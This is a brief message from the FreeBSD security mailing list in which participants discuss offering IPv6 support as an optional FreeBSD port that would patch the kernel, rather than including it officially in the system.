Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk According to itojun@itojun.org: > >Maybe make a port for FreeBSD, so that those who want to try IPV6 can > >get it into their system easilly, without FreeBSD having to include the > >source "officially"? > > FreeBSD port that attempts do kernel patch? someday i'll try. ...To boldly hack, what no hacker has hacked before... :-) /Mikael